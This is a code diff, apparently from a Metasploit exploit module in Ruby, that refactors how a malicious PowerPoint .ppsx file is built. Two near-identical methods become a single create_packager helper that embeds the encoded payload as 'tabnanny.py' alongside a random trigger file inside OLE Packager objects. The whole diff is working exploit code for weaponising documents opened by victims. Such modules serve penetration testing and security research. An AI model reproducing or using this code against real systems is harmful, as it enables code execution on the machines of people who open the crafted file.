@@ -60,6 +60,8 @@ def initialize(info={})
60
60
61
61
def exploit
62
62
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
63
+ payload_packager = create_packager ( 'tabnanny.py' , payload . encoded )
64
+ trigger_packager = create_packager ( "#{ rand_text_alpha ( 4 ) } .py" , rand_text_alpha ( 4 + rand ( 10 ) ) )
63
65
zip = zip_ppsx ( payload_packager , trigger_packager )
64
66
file_create ( zip )
65
67
end
@@ -91,59 +93,25 @@ def zip_ppsx(ole_payload, ole_trigger)
91
93
ppsx . pack
92
94
end
93
95
94
- def payload_packager
95
- payload_name = 'tabnanny.py'
96
-
97
- file_info = [ 2 ] . pack ( 'v' )
98
- file_info << "#{ payload_name } \x00 "
99
- file_info << "#{ payload_name } \x00 "
100
- file_info << "\x00 \x00 "
101
-
102
- extract_info = [ 3 ] . pack ( 'v' )
103
- extract_info << [ payload_name . length + 1 ] . pack ( 'V' )
104
- extract_info << "#{ payload_name } \x00 "
105
-
106
- p = payload . encoded
107
- file = [ p . length ] . pack ( 'V' )
108
- file << p
109
-
110
- append_info = [ payload_name . length ] . pack ( 'V' )
111
- append_info << Rex ::Text . to_unicode ( payload_name )
112
- append_info << [ payload_name . length ] . pack ( 'V' )
113
- append_info << Rex ::Text . to_unicode ( payload_name )
114
- append_info << [ payload_name . length ] . pack ( 'V' )
115
- append_info << Rex ::Text . to_unicode ( payload_name )
116
-
117
- ole_data = file_info + extract_info + file + append_info
118
- ole_contents = [ ole_data . length ] . pack ( 'V' ) + ole_data
119
-
120
- ole = create_ole ( "\x01 OLE10Native" , ole_contents )
121
-
122
- ole
123
- end
124
-
125
- def trigger_packager
126
- payload_name = "#{ rand_text_alpha ( 4 ) } .py"
127
-
96
+ def create_packager ( file_name , contents )
128
97
file_info = [ 2 ] . pack ( 'v' )
129
- file_info << "#{ payload_name } \x00 "
130
- file_info << "#{ payload_name } \x00 "
98
+ file_info << "#{ file_name } \x00 "
99
+ file_info << "#{ file_name } \x00 "
131
100
file_info << "\x00 \x00 "
132
101
133
102
extract_info = [ 3 ] . pack ( 'v' )
134
- extract_info << [ payload_name . length + 1 ] . pack ( 'V' )
135
- extract_info << "#{ payload_name } \x00 "
136
-
137
- random_text = rand_text_alpha ( 4 + rand ( 4 ) )
138
- file = [ random_text . length ] . pack ( 'V' )
139
- file << random_text
140
-
141
- append_info = [ payload_name . length ] . pack ( 'V' )
142
- append_info << Rex ::Text . to_unicode ( payload_name )
143
- append_info << [ payload_name . length ] . pack ( 'V' )
144
- append_info << Rex ::Text . to_unicode ( payload_name )
145
- append_info << [ payload_name . length ] . pack ( 'V' )
146
- append_info << Rex ::Text . to_unicode ( payload_name )
103
+ extract_info << [ file_name . length + 1 ] . pack ( 'V' )
104
+ extract_info << "#{ file_name } \x00 "
105
+
106
+ file = [ contents . length ] . pack ( 'V' )
107
+ file << contents
108
+
109
+ append_info = [ file_name . length ] . pack ( 'V' )
110
+ append_info << Rex ::Text . to_unicode ( file_name )
111
+ append_info << [ file_name . length ] . pack ( 'V' )
112
+ append_info << Rex ::Text . to_unicode ( file_name )
113
+ append_info << [ file_name . length ] . pack ( 'V' )
114
+ append_info << Rex ::Text . to_unicode ( file_name )
147
115
148
116
ole_data = file_info + extract_info + file + append_info
149
117
ole_contents = [ ole_data . length ] . pack ( 'V' ) + ole_data
0 commit comments